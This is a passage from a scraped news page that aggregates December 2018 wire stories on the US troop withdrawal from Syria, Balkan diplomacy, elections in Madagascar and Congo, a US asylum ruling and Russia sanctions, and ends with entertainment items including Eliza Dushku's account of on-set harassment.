said there is no illusion the threat from IS is gone, but said the focus will move to Libya and Egypt's Sinai Peninsula. A total pullout of U.S. troops from Syria would still leave the U.S. military with a sizable presence in the region, including more than 5,000 troops in neighboring Iraq. VOA's Persian and Kurdish Services contributed to this report. U.S. President Donald Trump has urged Serbia and Kosovo to secure a "historic" deal that would bring "long-sought" peace to the Balkan region a sign that Washington is willing to take a more active role in mediating between the two wartime foes. The office of Serbian President Aleksandar Vucic on Thursday published a letter he received from Trump, in which the U.S. president says, "I encourage you to seize this moment and to exercise the political leadership in making decisions needed to balance the interests of both countries." "It would be extremely regrettable to miss this unique opportunity for peace, security, and economic growth," Trump said. Kosovo President Hashim Thaci received a similar letter from Trump. Kosovo broke away from Serbia after a 1998-99 war and NATO intervention that stopped a bloody Serbian crackdown against Kosovo Albanian separatists. In 2008, Kosovo unilaterally declared independence which is recognized by the U.S. and most of the West, but not by Serbia and its allies Russia and China. Belgrade has warned of an armed intervention after Kosovo made moves toward creating an army earlier this month. Serbia and Kosovo have been conducting EU-mediated talks aimed at normalizing relations, but with little headway. Trump's letter appears to be an attempt by Washington to take a role in the mediation after showing little interest in tensions in the Balkans since he assumed the presidency. Trump said in the letter that the U.S. stands ready to assist and that he is looking forward to hosting the two presidents in the White House "to celebrate what would be an historic accord." "An agreement between Serbia and Kosovo is within reach," Trump said. Vote counting in Madagascar's presidential election was roiled by accusations of fraud Thursday as the two candidates both claimed victory in a standoff that has raised fears of instability on the Indian Ocean island. Andry Rajoelina and Marc Ravalomanana, both former presidents and long-time rivals, are locked in a duel for power after they came a close first and second in the preliminary election in November. By Thursday evening, results from Wednesday's run-off election were declared for 19 percent of polling stations and 2.4 million votes out of 10 million registered voters with Rajoelina in the lead with 54 percent and Ravalomanana with 45 percent. Turnout was about 47 percent, but Rajoelina's large early lead was still seen as inconclusive. "I have noticed massive fraud. There are electoral cards that are fake," Ravalomanana told AFP on Thursday at his campaign headquarters in the capital Antananarivo. "If the results follow the rules and take into account our complaints then yes, I agree [with the results], but if they don't follow the democratic process, no." His supporters focused their accusations on the election commission (CENI). "The results reported by the CENI are false," said Lova Andrianjaka Rakotiarisoa, 50. "We are ready to support our candidate to the end." Delighted by the early trend, Rajoelina's upbeat campaign staff still responded with their own accusations, saying they had detected "fraud" and "manipulation." "We took a big step towards victory, the ballot boxes spoke once and for all," former minister Hajo Andrianainarivelo told AFP. "If they say they have found fraud, I urge them to use the remedies provided by law." One Rajoelina supporter, Aimee Rasoharivololona, 53, a vendor in the central market of the capital, dismissed Ravalomanana's allegations. "Everyone here voted for Rajoelina, we firmly believe that he will be our next president," she said. Grudge match Election authorities have said the count may produce a winner only after Christmas, but appeals for Madagascans to wait patiently for the official results have had little effect. Local media on Thursday highlighted Rajoelina's early advantage. "Andry Rajoelina is in the lead," headlined L'Express. "Andry Rajoelina is slowly moving towards Iavoloha [the presidential palace]," added La Verite. Late Wednesday, Rajoelina told his supporters: "I am sure I'm going to win but we'll wait for the official results." Complete results are due by Jan. 9. The two candidates were both banned from running in the 2013 election as part of an agreement to end recurring crises that have rocked Madagascar since independence from France in 1960. Ravalomanana, 69, was first elected president in 2002 but was forced to resign seven years later by violent demonstrations supported by Rajoelina, the then mayor of the capital Antananarivo. Rajoelina, now 44, was installed by the army and ruled until 2014. Both candidates have spent lavishly on campaigning, with promises and handouts distributed liberally to voters, who are among the poorest in Africa. In the first round, Rajoelina won 39 percent compared with 35 percent for Ravalomanana. With the personalities of the two men dominating the election, issues such as poverty, corruption and lack of basic services and infrastructure were largely pushed to the side. 'Huge interests at stake' "I am worried because if the results are tight, no one has made a firm promise to respect them," said Hony Radaert, from the Citizens' Collective action group. "The two candidates and their entourages have huge interests at stake." Ravalomanana is a former milkman from a peasant family who went on to build a business empire, while Rajoelina is a former party planner and successful entrepreneur with slick communication skills. Madagascar is well known for its vanilla and precious redwood, yet is one of the world's poorest nations, according to World Bank data, with 76 percent of people living in extreme poverty. The island, which is also famed for its unique wildlife, is dependent on foreign aid and burdened by a long history of coups and unrest. A federal court has struck down most of a Trump administration policy that sought to deny asylum to immigrants seeking safety from domestic and gang-related violence in their home countries. In June, former Attorney General Jeff Sessions personally intervened in the case of a Salvadoran woman known as A-B, denying her asylum as the victim of domestic abuse and releasing expedited removal proceedings that instructed asylum officers to generally deny immigrants the initial credible fear screening if their asylum claims were based on domestic or gang-related violence. U.S. District Court Judge Emmet Sullivan put a permanent injunction on Sessions order, saying it violated U.S. immigration law and that there is no legal basis for an effective categorical ban. Under U.S. law, newly arrived immigrants who express fear of returning to their homes must be given a screening interview to determine credible fear. Those who pass the interview are allowed to pursue their asylum claims in immigration court. It is the will of Congress not the whims of the executive that determines the standard for expedited removal, Sullivan said in his 107-page ruling. The suit was brought by the American Civil Liberties Union on behalf of 12 plaintiffs, half of whom were hurriedly deported under the order. Under the new policies, even though government officials found the accounts credible, they concluded the women did not have a credible fear of persecution and ordered them to be sent back to the countries where they face grave harm, the ACLU said in a statement. Jurisdiction questioned During a November court hearing, government attorneys had asserted that the U.S. District Court did not have jurisdiction to rule on immigration and should therefore allow the administrations guidelines to stay in place. Jennifer Chang Newell, ACLU managing attorney for the Immigrants Rights Project, held that the attorney general does not have the right to issue expedited removal. At the time, the ACLU requested the court suspend the expedited removal rule, bring back the six immigrants who had been deported, and grant new proceedings to the 12 immigrants. Sullivan granted all three requests, blocking the government from removing plaintiffs who are currently in the United States without first providing credible fear determinations consistent with the immigration laws. He also ordered that the plaintiffs who had been deported be returned and given new credible fear interviews. This ruling is a defeat for the Trump administrations all-out assault on the rights of asylum-seekers, Chang Newell said, adding Sessions order is inconsistent with our countrys longstanding commitment to provide protection to immigrants fleeing for their lives. Department of Justice spokesperson Steve Stafford had a different take. Under the laws passed by Congress, asylum is only for those who have a legitimate fear of persecution on the basis of their race, nationality, religion, political opinion, or membership in a particular social group. Attorney General Sessions ruling in matter of A-B was about following that requirement. We are reviewing our options with regard to this ruling, and we will continue to restore the rule of law in our immigration system. White House Press Secretary Sarah Sanders further criticized the decision as undermining U.S. immigration law. Todays ruling is only the latest example of judicial activism that encourages migrants to take dangerous risks; empowers criminal organizations that spread turmoil in our hemisphere; and undermines the laws, borders, Constitution, and sovereignty of the United States, she said in a statement. The government is sure to appeal this decision, Cornell University Law School professor Stephen Yale-Loehr said. In the meantime, however, the federal court ruling ensures that people fleeing domestic violence or gang violence will have a fair shot at proving they qualify for asylum. Flynn case Sullivan also presided in the case of Lt. Gen. Michael Flynn, President Donald Trump's former national security adviser. On Tuesday, Sullivan delayed sentencing Flynn, whose crimes aroused "my disgust, my disdain." In keeping with his disdain of government overreach, Sullivan had another moment during an August hearing in the asylum case. When he learned that the government was in the process of deporting a plaintiff in the case and her daughter, he ordered the plane turned around. US peace envoy Zalmay Khalilzad raised doubts Thursday about the Taliban's desire to end the 17-year war, after the militants refused to meet with a Kabul-backed negotiating team. While he was certain the Afghan government wanted to stop the conflict, Khalilzad told Ariana News that he questioned whether the Taliban were "genuinely seeking peace." "We have to wait and see their forthcoming steps," Khalilzad said according to a translation of the interview provided by the US embassy in Kabul. Khalilzad's remarks to Afghan media following his latest face-to-face meeting with the Taliban echoed those expressed privately by some Western diplomats in the capital. Saudi Arabia and Pakistan also attended the talks in Abu Dhabi earlier this week, which the United Arab Emirates hailed as "positive for all parties concerned." But the Taliban would not meet with a 12-person Afghan delegation, Khalilzad said, describing the decision as "wrong". "If the Taliban are really seeking peace, they have to sit with the Afghan government ultimately to reach an agreement on the future political settlement in Afghanistan," the former US ambassador to Kabul said. The Taliban have long refused to talk directly to the Afghan government, which the group accuses of being a puppet of the United States. In a message released Tuesday the militants said they had held "preliminary talks" with Khalilzad on Monday. They also said they had held "extensive" meetings with officials from Pakistan, Saudi Arabia and the UAE, repeating demands for international forces to be withdrawn from Afghanistan. Those three countries were the only ones to recognize the Taliban's 1996-2001 regime. The meetings are the latest in a flurry of diplomatic efforts as Washington seeks a way out of the Afghan conflict, which began with the 2001 US-led invasion of the country that had harbored Al-Qaeda chief Osama bin Laden, the mastermind of the 9/11 attacks. While US President Donald Trump wanted to end the war, Khalilzad told Tolo News that Washington's "main objective" was to ensure Afghanistan did not pose a threat to the United States in the future. While ruling out a "pre-9/11 situation" in Afghanistan, Khalilzad said he had told the Taliban that "if the menace of terrorism is tackled, the United States is not looking for a permanent military presence" in the country. Khalilzad repeated his desire for a peace deal before the Afghan presidential election scheduled to be held in April, but added it was up to the "government and the Taliban." The U.S. State Department is looking into complaints from Iranians who say they do not have the same access to U.S. student visas as family members of Iranian officials. In an exclusive interview with VOA Persian at the State Department, U.S. Special Representative for Iran Brian Hook said Washington is reconsidering the student visas of family members of Iranian officials. WATCH: Brian Hook Speaks to VOA Persian Hook said the U.S. sees it unfair to other Iranians who are barred from entering the U.S. because Washington considers Iran an exporter of global terrorism. Iran is one of seven countries whose citizens are limited in travel to the U.S. after President Donald Trump declared an immigration ban last spring that was upheld by the U.S. Supreme Court in June. Students, however, have a special exemption from the travel ban 12,783 Iranians studied in the U.S. in 2017 and 2018. But earlier this month, Iranian Twitter users complained about visas going to students who were related to Iranian officials while other applications languished. In response, Hook posted a video on the U.S. State Department's Farsi Twitter account Dec. 11, raising the prospect of revoking U.S. visas issued to students related to Iranian leaders. Hook said the Trump administration was working to respond to questions from Iranian Twitter users. "One of the consequences of [Iran's] being the No. 1 state sponsor of terrorism in the world is that it causes the U.S. and other countries to have to impose visa restrictions," Hook told VOA Persian in an interview Dec. 13 that was broadcast Monday on VOA Persian's News at Nine program. Tehran does not share "sufficient" information about Iranians who apply for U.S. visas, Hook said. Iranian authorities "know what they need to do [and] the behaviors that they need to change," he added. Hook said the Iranian government's behaviors are unfair to its citizens. "The Iranian people understand that it is unfair for the regime to have its children here, and that same regime makes it very hard for its own people to get [U.S.] visas," he said. Hook also repeated his assertion, made in the Dec. 11 Twitter video, that it is "hypocrisy" for the leaders of an Iranian government that encourages public chants of "Death to America" to also send their children to the U.S. for study purposes. "These are some of the things that we are looking to change, in getting into a much better place for a better future with the Iranian people," Hook told VOA Persian. Under the travel ban, U.S. officials said they would continue to issue visas to Iranian students, subject to enhanced screening and vetting requirements. NBC report U.S. TV network NBC reported earlier this month that families of Americans detained in Iran were urging U.S. authorities to deny visas to Iranian officials' children in order to pressure those officials into releasing the Americans. NBC said the families provided the Trump administration and several U.S. lawmakers with a list of U.S.-based Iranian nationals alleged to be the children or relatives of senior Iranian officials, including President Hassan Rouhani. The NBC report said other people on the list included the son of Iranian Vice President for Family and Women's Affairs Masumeh Ebetekar, and the daughter of Iranian Parliament Speaker Ali Larijani. The report said the list came from relatives of some of the four Americans and one U.S. legal resident being detained in Iran on espionage charges that those relatives and U.S. authorities have rejected as bogus. In comments published last month by pro-Larijani Iranian news site Khabar Online, Ebetekar said the decision of many Iranians to study in America in past decades "does not necessarily denote an approval of the hegemonic nature of the U.S. and its administrative policies." Most readers who commented on the article were unimpressed by the comment and viewed her son's study in the U.S. as contradicting her active role in the 1979 Islamic Revolution that ruptured Iran's relations with Washington. This article originated in VOA's Persian service. The Trump administration is slapping more sanctions on Russian officials and entities for election interference and what the Treasury Department calls other "malign activities." They include the alleged assassination attempt by poison of a former Russian spy and his daughter in Britain. "The United States will continue to work with international allies and partners to take their collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," Treasury Secretary Steven Mnuchin said Wednesday. Among those sanctioned are 15 military intelligence agents and four government entities, including the Internet Research Agency. A new report this week prepared for the U.S. Senate says the IRA used every major social media platform to try to influence voters to cast ballots for Donald Trump in 2016, and send misinformation to voters unlikely to back Trump to discourage them from voting. Those sanctioned Wednesday are also accused of hacking the World Anti-Doping Agency, the Organization for the Prohibition of Chemical Weapons, and other nonpolitical agencies. Two Russian intelligence officers are also sanctioned for allegedly using a chemical agent to poison former Russian agent Sergei Skripal and his daughter, Yulia, last March in Salisbury, England. Both were hospitalized and survived. U.S. citizens are barred from doing business with sanctioned individuals or entitles, and any assets they have in the United States are frozen. Treasury said the Trump administration has so far sanctioned 272 Russians and entities for "a broad range of malign activities." President Donald Trump is considering withdrawing roughly half of the more than 14,000 U.S. troops stationed in Afghanistan, senior administration officials say. Under the reported plan, about 7,000 U.S. troops would start coming home in January, and the rest would exit in the coming months in a phased drawdown. There was no comment from the Pentagon or U.S. Central Command. The U.S. troops are part of a non-combat NATO force whose primary mission is training and advising Afghan forces in taking over responsibility for security in their country. The comments from the U.S. officials came a day after Trump's stunning announcement that the U.S. would pull its troops out of Syria. "I think it shows how serious the president is about wanting to come out of conflicts," one official told The Wall Street Journal. "I think he wants to see viable options about how to bring conflicts to a close." The Trump administration has been looking for a negotiated settlement of the war in Afghanistan, which would include talks with the Taliban. Earlier this week, Defense Secretary James Mattis, who announced Thursday that he would step down in February, said the conflicts in Afghanistan have been going on for almost 40 years and enough is enough. "It's time for everyone to get on board," Mattis said, and support those who are seeking peace, including the U.N. and the presidents of Afghanistan and India. But some White House insiders said Mattis was not pleased by Trump's decision to start pulling U.S. forces out of Afghanistan. Mattis did not specially mention Afghanistan in his resignation letter to Trump, but said the president has the "right to have a secretary of defense whose views are better aligned with yours." The Syrian government has applauded U.S. President Donald Trump's decision to withdraw U.S. troops from Kurdish regions in the north of Syria. Meanwhile, Kurds have condemned the decision, and the regional U.S. Arab allies are divided over the move. Syrian government analyst Col. Ali Maqsoud told state TV the U.S. decision was prompting a new sort of national unity by Kurds and others who want the central government to defend them against a Turkish invasion. He said the Kurds had learned that unless they join up with the central government, they will face a Turkish offensive alone, and the possibility of that happening has prompted what he called an uprising. In the northeastern city of Hasaka, part of which is under Syrian government control, Kurdish civilians staged street protests in support of President Bashar al-Assad's government, according to Syrian TV. VOA could not independently verify those reports. SDF dismayed The Kurdish-dominated alliance known as the Syrian Democratic Forces, or SDF, has been fighting alongside the U.S. military to defeat Islamic State militants in the north and east of Syria. The SDF indicated within the past few days it was still fighting to drive out the last IS fighters from the eastern town of Hajin, near Deir el-Zour. The SDF's media office voiced dismay about Trump's decision to withdraw from Syrian Kurdish areas, which the Kurds affectionately call Rojava. The SDF tweeted a short patriotic video of a Syrian Kurdish flag flying over territory the group controls, sporting the hashtag #DoNotAbandonRojava. A Syrian opposition leader now based in Turkey, George Sabra, told Arab media, "Opinion is divided, and some Arabs are condemning Trump's decision, while others are applauding it." Several countries that support the Assad government, like Algeria, Lebanon and Iran, indicated they hoped Damascus would regain control over the northern Kurdish territories, while the Turkish defense minister, Hulusi Akar, said his forces would "bury the Kurdish [SDF] fighters in their trenches, when the time comes." Turkey doesn't like the SDF because of fears Kurdish separatists on its own soil will spark a push for independence in the heavily Kurdish regions in the southeastern part of the country. An outlawed group known as the PKK has been engaged in a bloody war with the Turkish military for three decades. Both Ankara and Washington consider the PKK a terrorist organization. Allies unprepared University of Paris professor Khattar Abou Diab told VOA that U.S. allies were not prepared for Trump's decision, despite the fact Trump had campaigned on a pledge to pull out of Syria and repeated it earlier this year. He said friends and allies of America, including Israel and many Arab states, have come to expect over the years that the United States will do their dirty work and pay for it for them. This time, he said, they were not prepared for the U.S. decision. Egyptian political sociologist Said Sadek told VOA that the United States had tarnished its image among its allies in the region. "Definitely, the image of the United States as a stabilizer in the area, as someone who stands by his allies, is over. Maybe the Americans wanted the people of the area to fight against each other," Sadek said. Following Trump's withdrawal decision, the Lebanese editor of the Saudi-owned Asharqalawsat newspaper, Ghassan Charbel, tweeted, "Countries that sleep on American pillows will no longer be able to sleep soundly." Without offering specifics on what led to a declaration of victory against the Islamic State (IS) terror group in Syria, the White House defended both the declaration and the decision to start bringing U.S. troops in the war-torn country back home. The announcement, which seemed to catch some U.S. defense and diplomatic officials, as well as lawmakers, off guard, first came in a tweet from U.S. President Donald Trump Wednesday morning: The sudden declaration led to a flurry of questions, forcing both White House and Pentagon officials to clarify the president's tweet with statements of their own. "We have started returning United States troops home as we transition to the next phase of this campaign," White House press secretary Sarah Sanders said, adding the defeat of IS did not mean the military campaign by coalition forces was ending in Syria. Hours later, Pentagon spokeswoman Dana White, using an acronym for the group, said in a statement that "the coalition has liberated ISIS-held territory, but the campaign against ISIS is not over." By late Wednesday, Trump weighed in again, releasing a video statement. "We have won against ISIS. We've beaten them and we've beaten them badly," the president said, standing outside the White House. "So our boys, our young women, our men, they're all coming back and they're coming back now. We won and that's the way we want it and that's the way they want it." Neither the White House nor the Pentagon was willing to say how long it would take to safely withdraw all U.S. forces from Syria, citing operational security. They noted only that planning was under way and that it would be done in an orderly fashion. Reuters quoted a U.S. official as saying the State Department was already evacuating all personnel from Syria and that the time frame for the troop withdrawal was 60 to 100 days. Further confusing the decision, White House officials admitted that IS fighters are still clinging to one last pocket of territory around the town of Hajin, in northeastern Syria, though they said the terror groups fighters were not mounting enough resistance to postpone a declaration of victory. "We believe that that remaining pocket can be eliminated both by our own guys, but then also by regional and partner forces that are local to it," a senior administration official said on background late Wednesday. U.S. troops "were always there to destroy the territorial caliphate of ISIS," the official added. "I think the president was perfectly justified when he judged that mission was at an end and the caliphate had been destroyed." But the decision to immediately begin withdrawing the approximately 2,000 U.S. troops in Syria spawned both confusion and criticism. "It blindsided me," said South Carolina Republican Sen. Lindsey Graham, usually a Trump ally. "This is chaos." White House officials pushed back, arguing the time was right and that no one should have been surprised by the move. "I would challenge that," the senior administration official said when asked why top Defense and State department officials seemed to be caught unaware. "The president's statements on this topic have been 100 percent consistent." Still, the announcement ran contrary to what top U.S. officials have been saying for months about the endgame against IS in Syria. Just last week, Brett McGurk, U.S. special presidential envoy for the Global Coalition to Defeat ISIS, told reporters at the State Department that liberating the last 1 percent of IS-held territory could take "a period of months." "There is a significant concentration of the most hardened ISIS fighters in that little splotch of territory," McGurk said on Dec. 11. "A couple thousand hardened fighters remain in that area." Pentagon estimates from August of this year also warned that IS still had at least 13,000 fighters in Syria, where the caliphate had already collapsed. Defense Secretary Jim Mattis and other senior U.S. officials also have been advocating for a longer-term military presence in Syria to help ensure IS cannot re-emerge as a force in the Middle East. Until now, U.S. troops in Syria had been working closely with an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces. The SDF issued a statement Thursday rejecting Trump's assertion that Islamic State has been defeated, and saying a U.S. withdrawal would allow for a resurgence of the group. But White House officials said the SDF and other partner forces would be responsible for eliminating the last pockets of IS control. "We are transitioning primary responsibility for the defeat of the few remaining ISIS remnants in Syria to our allies and partners [on the ground]," a second senior administration official told VOA on background. Might not last However, there are indications that those local partner forces may quickly fade once U.S. troops are gone. A source close to SDF officials in Syria told VOA that many of the Kurdish fighters taking on IS in Hajin and surrounding areas were prepared to withdraw and reinforce Kurdish positions in the north in preparation for a possible incursion by Ankara, which sees the Kurds as an extension of a Kurdish terrorist group fighting inside Turkey. Some of the SDF's Arab fighters may join them, the source said, though many would likely return home. The U.S. withdrawal also raises questions about the fate of hundreds of IS foreign fighters who have been taken prisoner and are currently in SDF custody. Many governments have refused to take them back, and there is a chance that what is left of the SDF could set them free without the prospect of any U.S. support. "I think the Kurds will view this as a tremendous betrayal," Andrew Gabel, a research analyst at the Foundation for Defense of Democracies in Washington, told VOA. "They will have little choice but to somehow come to terms with [Syrian President Bashar al-]Assad, Russia, Iran. That's not really good for them, I don't think, and that's certainly not good for the U.S. position in the region." Mixed response International reaction to the U.S. announcement was mixed. In a statement late Wednesday, Britain, a key ally in the fight against IS, sounded a note of caution. "The global coalition against Daesh has made huge progress," a British government spokesperson said, using the Arabic acronym for the terror group. "Important advances have been made in recent days in the last area of eastern Syria which Daesh has occupied," the spokesperson added. "But much remains to be done, and we must not lose sight of the threat they pose." Frances European Affairs Minister Nathalie Loiseau pledged Thursday to remain a part of the coalition effort fighting Islamic State in Syria, saying on CNews television that while significant progress has been made, the fight continues. French Defense Minister Florence Parly also used a series of Twitter posts to say Islamic State has not been wiped off the map and that the group must be militarily defeated. Russia's Foreign Ministry also praised the decision, according to the TASS news agency, saying it would improve the chances for a political settlement of the eight-year-old Syrian civil war. White House officials dismissed any connection between the withdrawal of the troops and the ongoing war in Syria, and additionally dismissed criticism from lawmakers, like Graham, who accused Trump of making a huge Obama-like mistake. Former President Barack Obama drew the ire of Trump for withdrawing U.S. forces from Iraq in before Iraqi forces collapsed at the hands of IS in 2014. "That's an apples-and-oranges comparison," a senior administration official said. "What the President [Trump] told us to do what he directed this administration to do was destroy the territorial caliphate of ISIS, not turn Syria into a utopian democracy." Sen. Rand Paul, a Kentucky Republican who is a member of the chamber's Committee on Foreign Relations, praised the move on Twitter: As for the next phase of the U.S. fight against IS, administration officials said there was no illusion that the threat from IS was gone, but that the focus would move to other areas from which the terror group is operating, including Libya and Egypt's Sinai Peninsula. Sanders, the White House press secretary, said the U.S. would also continue efforts "to deny radical Islamist terrorists territory, funding, support and any means of infiltrating our borders." A total pullout of U.S. troops from Syria would still leave the U.S. military with a sizable presence in the region, including more than 5,000 troops in neighboring Iraq. VOA's Persian service contributed to this report. The Kurds' involvement in the conflict in Syria is difficult to understand because of their own troubled history that spreads across several regional borders. Here is a look at the current Kurdish crisis and how it came to be: Who are the Kurds? The Kurds are one of the indigenous people of the Mesopotamian plains and the highlands, areas that today are contained within southeastern Turkey, northeastern Syria, northern Iraq, northwestern Iran and southwestern Armenia. Estimated at between 25 million and 35 million people, the Kurds are the fourth-largest ethnic group in the Middle East. They form a distinctive community, united through race, culture and language, and while most of them are Sunni Muslims, they also adhere to a number of different religions and creeds. They are considered the largest ethnic group in the world to be stateless. Why don't they have a country? After World War I and the defeat of the Ottoman Empire, the victorious Western allies made provision in the 1920 Treaty of Sevres for the formation of a Kurdish state, to be known as Kurdistan. But their hopes were dashed three years later when the Treaty of Lausanne, which set the boundaries of modern Turkey, made no provision for a Kurdish state and left Kurds with minority status in their respective countries. Over the next 80 years, any move by Kurds to set up an independent state was brutally quashed. The war against Islamic State has presented a huge opportunity for the Kurds to project legitimacy on the international stage. What is their role in the war against Islamic State? Kurds in both Iraq and Syria continue to be involved in the fight against the Islamic State group, but the battle is slowing down. Thousands of Kurds have been killed in battles that put a dent in IS's influence from its peak in 2014. Their role in these battles has earned the Kurds a global reputation as the most effective ground forces against the terror group. The peshmerga, which also includes women, has shown to be an effective fighting force. In September 2014, IS launched an assault on the enclave around the northern Syrian Kurdish town of Kobani, forcing tens of thousands of people to flee across the nearby Turkish border. In January 2015, after a battle that left at least 1,600 people dead, Kurdish forces regained control of Kobani. Since then, the Kurds fighting under the name of the Syrian Democratic Forces (SDF) alongside several local Arab militias, and helped by U.S.-led coalition airpower have driven IS out of a large swath of territory in Syria and established control over a large area along the border with Turkey. In October 2017, the SDF captured the de facto IS capital of Raqqa and were advancing southeast into the neighboring province of Deir el-Zour the jihadists' last major foothold in Syria. The U.S.-led coalition in early December 2018 sent military gear to the front line in eastern Syria as battles between the SDF and IS continues. With the news days later that the Trump administration is pulling all U.S. troops out of Syria "as quickly as possible," there are questions about the long-term implications for the country, the region and international relations. Kurds vs. Turks vs. IS American support for the SDF has strained relations with Turkey. Ankara has warned Washington about observation posts Washington has set up in northern Syria to prevent any altercations between Turkish forces and the U.S.-backed Syrian Kurdish People's Protection Units (YPG), which fights under the banner of SDF. The YPG is considered a terrorist organization by Ankara. It is an offshoot of the outlawed Kurdistan Workers' Party (PKK), which has battled against the Turkish state since 1984. The PKK is blacklisted as a terrorist group by the U.S. and European Union, while the YPG is not. Turkey launched two military operations to help Syrian rebels recapture territory in Syria from IS and the YPG in August 2016 and January 2018. The first offensive in northern Syria lasted until March 2017. The second wrapped up in March 2018 after Ankara-backed rebels captured the YPG-held enclave of Afrin in northwestern Syria. The Zimbabwean government says there is "no need" to extradite Grace Mugabe, the wife of the country's former leader, to neighboring South Africa after police there issued a warrant for her arrest. Energy Mutodi, Zimbabwe's deputy minister of information, said Thursday that the government objects to the move by South African law enforcement against Mugabe, who is accused of assaulting a woman in Johannesburg last year. Mutodi says former president Robert Mugabe was the country's founder and that "harassment of his immediate family members is not in the best interests of Zimbabwe." Earlier this year, a South African court ruled that South Africa's government acted illegally when it granted diplomatic immunity to Grace Mugabe after the alleged attack at an upscale hotel. Elections in the Democratic Republic of Congo will be postponed by one week, according to presidential candidates and their aides who were told of the delay. An opposition presidential candidate told VOA's French to Africa service Thursday the elections, previously scheduled for Sunday, will now take place on December 30. The Reuters news agency cites a senior adviser to President Joseph Kabila (Barnabe Kikaya Bin Karubi) as giving the same new election date. Earlier, Congo's top electoral official Corneille Nangaa told presidential candidates that the electoral commission will not be ready to hold the election by the original date. An opposition candidate who attended the meeting, Theodore Ngoyi, told VOA that Nangaa cited a fire which destroyed hundreds of voting machines in the capital last week as the main reason for the delay. VOA reached out to other opposition candidates to ask about the meeting but they declined to comment. Electoral officials are expected to hold a news conference in Kinshasa. Congo's polls were originally scheduled to take place in late 2016, but were delayed as President Joseph Kabila refused to step down at the end of his second term. Kabila and Congo's ruling party have endorsed former interior minister Emmanuel Shadary to be Congo's next president.Shadary faces several strong challengers, including Felix Tshisekedi, the head of Congo's biggest opposition party, and Martin Fayulu, a businessman endorsed by a coalition of opposition groups. Elections in the Democratic Republic of Congo have been postponed by one week, to Dec. 30, the country's electoral commission said Thursday. Commission chair Corneille Nangaa told reporters the delay is due to "technical" problems related to the capital, Kinshasa. A fire last week destroyed hundreds of voting machines meant to be used in the city. News of the postponement initially leaked out after Nangaa held a private meeting with presidential candidates earlier in the day. Despite fears of unrest, a VOA French to Africa reporter in Kinshasa says no soldiers were deployed on the streets of the city, and the capital remained calm. Congo's polls were originally scheduled to take place in late 2016, but were delayed as President Joseph Kabila refused to step down at the end of his second term. Kabila and Congo's ruling party have endorsed former interior minister Emmanuel Shadary to be Congo's next president. Shadary faces several strong challengers, including Felix Tshisekedi, the head of Congo's biggest opposition party, and Martin Fayulu, a businessman endorsed by a coalition of opposition groups. The URL has been copied to your clipboard The code has been copied to your clipboard. South Africa has issued an arrest warrant for Zimbabwe's former first lady Grace Mugabe over an alleged assault in Johannesburg last year, a police spokesman said on Wednesday. The alleged victim, model, Gabriella Engels shown with her mother Debbie Engels, pressed charges against Mrs. Mugabe. Funeral Announcements A daily list of current funeral annoucements as heard on KXRA 1490 AM/100.3 FM News Updates The daily news, sports, and events delivered daily from Voice of Alexandria. Sports Update This current sports headlines delivered daily from Voice of Alexandria. Upcoming Events This email is the events of the area delivered daily from Voice of Alexandria. Breaking News The big news. Sent only as it happens. Eliza Dushku Photo: Monica Schipper/FilmMagic Last week, the New York Times broke the news that Eliza Dushku received a $9.5 million settlement from CBS over the harassment targeted at her while she filmed a role on the Michael Weatherly series Bull. Dushku did not comment in the original story, but now, in a piece for the Boston Globe, she describes her experience in her own words, claiming that Weatherly and writer-producer Glenn Gordon Caron have tried to construct a false narrative about what happened. I declined to be interviewed for that piece because I wanted to honor the terms of my settlement with the network, Dushku writes. I was under the impression that Weatherly and Caron would also not respond per our settlement. Instead, all commented to the Times in what amounted to more deflection, denial, and spin. CBS pursued Dushku for a role in one of its shows, and had offered her the potential to become the co-lead on Bull, which, according to her description of the offer, would pivot to a two-hander like Moonlighting (Caron, who was brought on to write the series, created Moonlighting). Dushku writes that Weatherly started to harass her as soon as she came on the series, and that the language was far worse than the Cary Grantlike ad libbed lines he insisted he used. Weatherly, who plays Dr. Bull, claimed I didnt get his attempt at humor, she writes. She continues: For the record, I grew up in Boston with three older brothers and have generally been considered a tomboy. I made a name for myself playing a badass vampire slayer turned tough LA cheerleader; I have worked with numerous leading men, including Robert DeNiro, Leonardo DiCaprio, even CBSs own David Boreanaz. I can handle a locker room. I have been on Howard Stern and was hired by Kevin Smith for a film where I wore a black leather cat suit and played a member of an international diamond-thief-gang-ring. I do not want to hear that I have a humor deficit or cant take a joke. I did not over-react. I took a job and, because I did not want to be harassed, I was fired. She adds that Weatherly bragged about a close relationship with then-president of CBS Les Moonves, since fired for cause over claims of sexual harassment, referred to her as legs, liked to boast about his sperm and vasectomy reversals, and as was caught on tape, after I flubbed a line, he shouted in my face, I will take you over my knee and spank you like a little girl. Dushku says that his behavior also encouraged crew members to harass her. What is hardest to share is the way he made me feel for 10 to 12 hours per day for weeks, Dushku writes. This was classic workplace harassment that became workplace bullying. Dushku says the harassment got worse once she brought up Weatherlys behavior with him. He encouraged CBS brass to write her out of the show and, Dushku writes, circulated a memo telling crew members that no one should comment on her appearance. He then led a Champagne toast for her at the wrap party, where, as Dushku describes it, he humiliated her by repeatedly referring to her beauty sarcastically, purposefully violating that memo. There are crew members on record as witnesses to corroborate what for me was one of the most cruel, most aggressive humiliations I have ever experienced, she writes. It was I who was mortified. Caron, she says, went along with Weatherly, while CBS also protected him and Weatherly during the settlement process, using a photo of Dushku from her Instagram as if this suggested I deserved or was not offended by the sexual harassment I experienced. As part of her settlement, Dushku writes that she insisted that CBS designate an individual trained in sexual harassment compliance to monitor Weatherly and the show in general and that she be allowed to meet with Steven Spielberg, whose company Amblin co-produces Bull. I have not yet had my meeting with Spielberg, but I cannot help but wonder where the legendary Hollywood director was throughout all of this, she writes. Dushku is currently working on getting a college degree in Boston, and notes that she would not have spoken out except for the fact that CBS, Weatherly, and Caron have tried to distort the story. Down Mahershala Ali, Green Book Just when you thought the controversy around Green Book had died down, it turns out the family of Don Shirley has issues with the films depiction of the late pianist, particularly its suggestion that Shirley was estranged from his relatives and had trouble connecting with the black community. And when I say issues, I mean they called it a symphony of lies. Shirleys nephews also revealed that Ali called them to apologize for not reaching out to them during his preparation for the role. (He appears to have taken the script at its word.) Even those who dont like Green Book have considered Alis performance the movies lone bright spot; now, even that part has been tarnished. Sarah Palin. Photo: Alex Wong/Getty Images Despite her outrage about being duped for Sacha Baron Cohens Who Is America?, in the end Sarah Palin didnt even make a cameo in this summers Showtime satire. While the former Alaskan governor described Cohens humor as evil, exploitive, sick, apparently he didnt think hers measured up to the likes of, say, Roy 